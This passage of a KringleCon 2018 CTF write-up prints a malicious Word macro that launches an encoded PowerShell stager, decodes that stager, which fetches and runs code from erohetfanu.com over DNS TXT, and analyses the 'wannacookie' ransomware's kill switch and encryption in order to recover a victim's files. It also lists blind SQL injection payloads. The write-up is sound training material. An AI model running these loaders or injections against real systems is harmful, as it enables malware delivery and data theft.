$ python oledump/oledump.py -s A3 -v CHOCOLATE_CHIP_COOKIE_RECIPE.docmAttribute VB_Name = "Module1"Private Sub Document_Open()Dim cmd As Stringcmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "Shell cmdEnd Sub
Part of the payload is compressed (zlib deflate) and Base64 encoded. We can decode and decompress it as follows:
$ echo “lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG” | base64 -D > data.bin$ printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" | cat - data.bin | gzip -dcfunction H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
Note: the
printf
command adds thegzip
header to the decoded data before decompression withgzip
.
This is similar to the behavior observed in the first part:
- the client requests once the DNS TXT record on
77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com
- the server responds with an integer value X that is used by the client to do X DNS TXT requests to
$i.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com
where$i
goes from 0 to X.
The flag for this part is the domain name queried.
Flag: erohetfanu.com
Part 3 — Stop the Malware
We need to analyze the ransomware source code we saw in Part 1, find a kill-switch and activate it on HoHoHo Daddy.
As the domain names used for the DNS queries change randomly we cannot use them as a kill-switch (see Wannacry). We have to find something else.
We extract the full malware code for a given infected host from a PCAP of Part 1, with this one-liner:
$ tshark -r snort.log.1546257667.1233723.pcap -T fields -e dns.txt -Y “ip.dst == 10.126.0.205” | tr -d ‘\n’ | xxd -r -p | cut -c 2- > wannacookie.min.ps1
We can then use a code beautifier to indent the code for more readability. The full commented code can be found here.
The ransomware starts by doing 2 checks. If one of them fails, the ransomware stops its execution without doing any harm.
The first check tries to resolve a domain name (line 219). If it resolves, the execution is stopped. This kind of check on a dummy unresolvable domain name can be used to detect if the malware is run in a sandbox for analysis. This is our kill-switch!
The second check (line 225) passes only if the computer domain name is KRINGLECASTLE
and if the computer does not listen on port 8080. This is to avoid re-infection as the ransomware spawns a web server on port 8080 the first time it infects the host.
wannacookie.min.ps1
— kill-switchLet’s go back to the first check. The domain name is derivated from the variable $S1
. It is first decompressed (we can recognize the GZIP header 0x1f8b080000000000
) and then XOR’ed with a value retrieved from the ransomware server with another DNS TXT query. The Python code to retrieve the domain name is here. The output is:
[+] KILL SWITCH: yippeekiyaa.aaay
We can now register the domain on Ho Ho Ho Daddy website:
Flag: Successfully registered yippeekiyaa.aaay!
Part 4 —Recover Alabaster’s Password
We are given a forensic artifacts archive that contains a dump of Alabaster’s powershell.exe
process (minidump) as well as his encrypted database alabaster_passwords.elfdb.wannacookie
. The goal is to find the password generated by the ransomware in memory to encrypt the file and use it to decrypt the database.
Let’s go back to the ransomware source code. The interesting pieces of code for the key generation and handling are the below ones:
wannacookie.min.ps1
— key generation & encryptionwannacookie.min.ps1
— key deletionThe ransomware retrieves the public key server.crt
from its server (line 231) and uses it to encrypt a 16 bytes random key (line 239). The encrypted key is sent to the server to be stored as a string (line 241). Finally, the random key is deleted but the encrypted key stays in memory (line 249–250).
Note: the ransomware retrieves files from its server using the same mechanisms seen in Objective 9.2, using DNS TXT queries. The sub-domain to query is the filename (including extension) hex-encoded.
To help us find the encrypted key in memory, we need one more information: the length of the encrypted key string. This is defined by the size of the modulus of the public key that we can get from the ransomware server:
// add PEM markers before parsing
$ cat server.crt | sed '1s/^/-----BEGIN CERTIFICATE-----\'$'\n''/g' | sed '$s/$/\'$'\n''-----END CERTIFICATE-----/' | openssl x509 -text -noout
[...]
Public-Key: (2048 bit)
[...]
The modulus is 2048 bits, so is our encrypted key. 2048 bits = 256 bytes that when ‘stringified’ will be a 512 characters long hex string. Knowing that Windows stores values in memory using UTF-16 encoding we now have all the necessary information to search our encrypted key in memory:
// executed on Kali as strings on MacOS has no encoding (-e) flag :(
$ strings -eb powershell.exe_181109_104716.dmp | grep -E ‘^[a-fA-F0-9]{512}$’
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Alternatively, we can use power_dump
to analyze powershell.exe
minidumps:
Now that we have the encrypted key we need the private key to decrypt it. Fortunately, we can retrieve server.key
as well from the ransomware server. We can decrypt our key as follows:
$ echo “3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971” | xxd -r -p | openssl rsautl -decrypt -inkey server.key -oaep | xxd -pfbcfc121915d99cc20a3d3d5d84f8308 <= 16 bytes plain key
Note: the
-oaep
flag is needed to decrypt because the key has been encrypted with the second argument of thePublicKey.Key.Encrypt
method totrue
(line 151).
wannacookie.min.ps1
— public key encryptionThe files are encrypted with AES 128 bits CBC and a suffix .wannacookie
is added to the filename. The encrypted files are structured as follows:
IV length - 4 bytes
IV value - 16 bytes
Encrypted blocks - 16 bytes each
wannacookie.min.ps1
— file encryption function snippetThe Python code below is used to decrypt the file:
Once the database decrypted we can query it to retrieve the vault password:
$ file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002$ sqlite3 alabaster_passwords.elfdb
sqlite> .tables
passwordssqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
Flag: ED#ED#EED#EF#G#F#G#ABA#BA#B
Note: The Python code to retrieve files from the ransomware server and decrypt files can be found here. These additional files can be downloaded from the server:
wannacookie.ps1, the ransomware source code not minified
source.min.html, the HTML page minified used by the local webserver
source.html, the HTML page used by the local webserver
[Objective 10 — Solution]
We need to access Santa’s vault, accessible from Santa’s secret room, to find out what is this all about! The door to Santa’s vault is protected by a Piano Lock.
Entering the password found in the previous objective ED#ED#EED#EF#G#F#G#ABA#BA#B
we get the following message:
We remember the email sent by Holly to Alabaster in Objective 8:
Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
We need to transpose the notes from an E key to a D key, which gives us: DC#DC#DDC#DEF#EF#EF#GAG#AG#A
.
Flag: You have unlocked Santa's vault!
We unlock the last narrative:
Epilogue
Santa finally reveals that he plotted the whole thing! He wanted to test and recruit the best hackers to help him defend the North Pole in the future. Hans (Gruber) and his fellow soldiers, that were elves in disguise, accepted to play the villains to help Santa in his difficult task:
This long journey ends with the following words from Santa:
Flag: Santa
The Google Ventilation
This is an optional challenge that can be found in the castle’s entrance hall.
When we complete Objective 4 and unzip the protected ZIP file, we get the plans of the ventilation maze 1F, 2F. Below, I have added in red the path to follow to get out of the maze:
Upon exiting the maze, we directly access Santa’s secret room, bypassing the Objective 6 challenge. This allows us to reach Objective 9’s terminals directly after Objective 4 completion.
Easter Eggs
You will find here the list of the Easter Eggs I could find throughout the KringleCon journey:
#1
The flag of Objective 2,John McClane
, is the main protagonist of the Die Hard film series.
#2
In Objective 3’s terminal challenge, the poem written by Morcel Nougat for Elinore is based on the poem The Raven from Edgar Allan Poe.
#3
In the terminal challenge of Objective 4, we can read thereport.txt
where some of the reporters are Santa’s reindeers (the first 8 names):
#4
In the Objective 4’s terminal challenge, the password used for the SMB connection directreindeerflatterystable
is a reference to XKCD’s Password Strength comic:
#5
The Objective 4’s flag: Yippee-ki-yay
is another reference to Die Hard:
Die Hard's Yippee-ki-yay compilation
© Twentieth Century Fox#6
In Objective 4’s GitLab repository, we can find an image of Hans here:
#7
In Objective 5, the full name of the VM user is Kris Kringle, another name for Santa Claus…but that could as well refer to the main protagonist of Miracle on 34th Street.
#8
In Objective 5, the VM hostname is plaza
which could be related to the name of the building where Die Hard movie takes place: the Nakatomi Plaza.
#9
The password of the BloodHound
database in Objective 5 is Myra
and is found in clear-text in the config file:
Santa Claus originates from the historical figure of Saint Nicholas of Myra who was a 4th-century Greek Christian bishop of Myra (now Demre in Turkey).
#10
We have seen in Objective 6, that we can bypass an authentication with a basic SQL injection…easy. However, we have as well a nice blind boolean based SQLi that we can use to dump all the database data. To make it short, we can send queries to the backend server and it will reply if our query is true
or false
. We can, therefore, get the database name, tables name, columns name and columns data. For instance, to get the database name, we first need to find its length. We loop through the below payload until the servers responds true
:
‘ or length(database())=1# -> false
‘ or length(database())=2# -> false
‘ or length(database())=3# -> false
[...]
‘ or length(database())=23# -> true
Then we get the name letter by letter by comparison, as follows:
# first letter
‘ or strcmp(substr(database(),1,1), ‘a’) = 0# -> false
‘ or strcmp(substr(database(),1,1), ‘b’) = 0# -> true
# second letter
‘ or strcmp(substr(database(),2,1), ‘a’) = 0# -> true
# third letter
‘ or strcmp(substr(database(),3,1), ‘a’) = 0# -> false
‘ or strcmp(substr(database(),3,1), ‘b’) = 0# -> false
‘ or strcmp(substr(database(),3,1), ‘c’) = 0# -> false
‘ or strcmp(substr(database(),3,1), ‘d’) = 0# -> true
etc...
When the server returns the message Authorized User Account Has Been Disabled!
this means that our query is correct and returns true
. Conversely, when the server returns the message No Authorized User Account Found!
it means that our query is false
. All the payloads need to be QR-Code’d and uploaded on the server.
The same goes for tables/columns names and data. The Python code to dump the database and all the payloads used can be found here. Patience is needed to get the full database :)
The database name is badge_scan_o_matic_4000
and contains only one table:
Note: I initially tried to use
sqlmap
to automatize the database dump. I created aqrcodeencode.py
tamper script to encode the payload to a QR-Code. Unfortunately, I have not been able to makesqlmap
POST a binary file. Whenever the payload is built, it is ‘stringified’. I re-used the content of the tamper script in my solution.
The only user who has an authorized and enabled access is theo
. Theo is the terrorists’ computer hacker in Die Hard movie and his badge to access the secret room is here.
#11
The flag of Objective 7, Fancy Beaver
, is a reference to the Russian cyber espionage group Fancy Bear.
#12
In Objective 7, the applicant who is part of a terrorist group is Krampus. Krampus is a central European folkloric figure that punishes children who have misbehaved during the Christmas season.
#13
In Objective 9.2, the domain name used by the ransomware is erohetfanu
. It is the ROT13 of reburgsnah
which is the reversed string of Hans Gruber who is the main villain in the movie Die Hard.
All the domain names observed in Objective 9.1 are anagrams of Hans Gruber
.
#14
The Google Ventilation challenge could be a reference to Die Hard’s scene where John McClane tumbles down a ventilation shaft.
#15
When loading the Google Ventilation challenge outside of a frame, the resourceid
value used is inigomontoya
:
Either this is the name of the Google developer or a reference to the fictional character of The Princess Bride novel and its movie adaptation.
#16
When we log in from a different place without logging out first, we receive a DENNIS_NEDRY
WebSocket type message:
Dennis Nedry is a computer programmer at Jurassic Park in the homonymous movie.
#17
Whenever we log in or we reload the game, the following WebSocket messages are sent:
This was hard to find! The real quote is “Cal, honey, put your shoes on, we’re at Grandma’s” and is from the movie Mystery Science Theater 3000: The Movie :
#18
Along with the previous WebSocket message, we get as well this one:
‘Oh Hi Mark’ is a quote of a movie called The Room, apparently the best (or worst) movie ever, I will let you judge :)
#19
After all the references to Die Hard, I had to watch it again and I found out that the flag of Objective 1, Happy trails
, is what John McClane says to Hans Gruber right before he kills him. The full quote is: Happy Trails, Hans!
#20
Most of Hans script (in Santa’s Castle) are direct quotes from Hans Gruber (in Die Hard):
Hans: Due to the North Pole’s legacy of providing coal as presents around the globe ... they are about to be taught a lesson in the real use of POWER. You will be witnesses.
Hans Gruber: Due to the Nakatomi Corporation's legacy of greed around the globe, they are about to be taught a lesson in the real use of power. You will be witnesses.Hans: Now, Santa… that's a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.
Hans Gruber: Nice suit. John Phillips, London. I have two myself. Rumor has it Arafat buys his there.Hans: The following people are to be released from their captors. In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front. In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who. In the Land of Oz, Glinda the Good Witch.
Hans Gruber: The following people are to be released from their captors: In Northern Ireland, the seven members of the New Provo Front. In Canada, the five imprisoned leaders of Liberte de Quebec. In Sri Lanka, the nine members of the Asian Dawn movement...Hans: You think that after all my posturing, all my little speeches, that I’m nothing but a common thief. But, I tell you -- I am an exceptional thief. And since I've moved up to kidnapping all of you, you should be more polite!
Holly Gennero McClane: After all your posturing, all your little speeches, you're nothing but a common thief.
Hans Gruber: I am an exceptional thief, Mrs. McClane. And since I'm moving up to kidnapping, you should be more polite.Hans: When you steal six hundred dollars, you can disappear. When you steal all of Santa’s treasure, they will find you… unless…(muffled yelling)
Hans Gruber: Well, when you steal $600, you can just disappear. When you steal 600 million, they will find you, unless they think you're already dead.
Moreover, we can read in one of the narratives:
Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, “NOW I HAVE A ZERO-DAY. HO-HO-HO.”
This refers to the scene in Die Hard where Tony Vreski, one of the villains, is found dead in the elevator:
#21
When browsing the Docker server’s URL we get the following Santa’s ASCII art: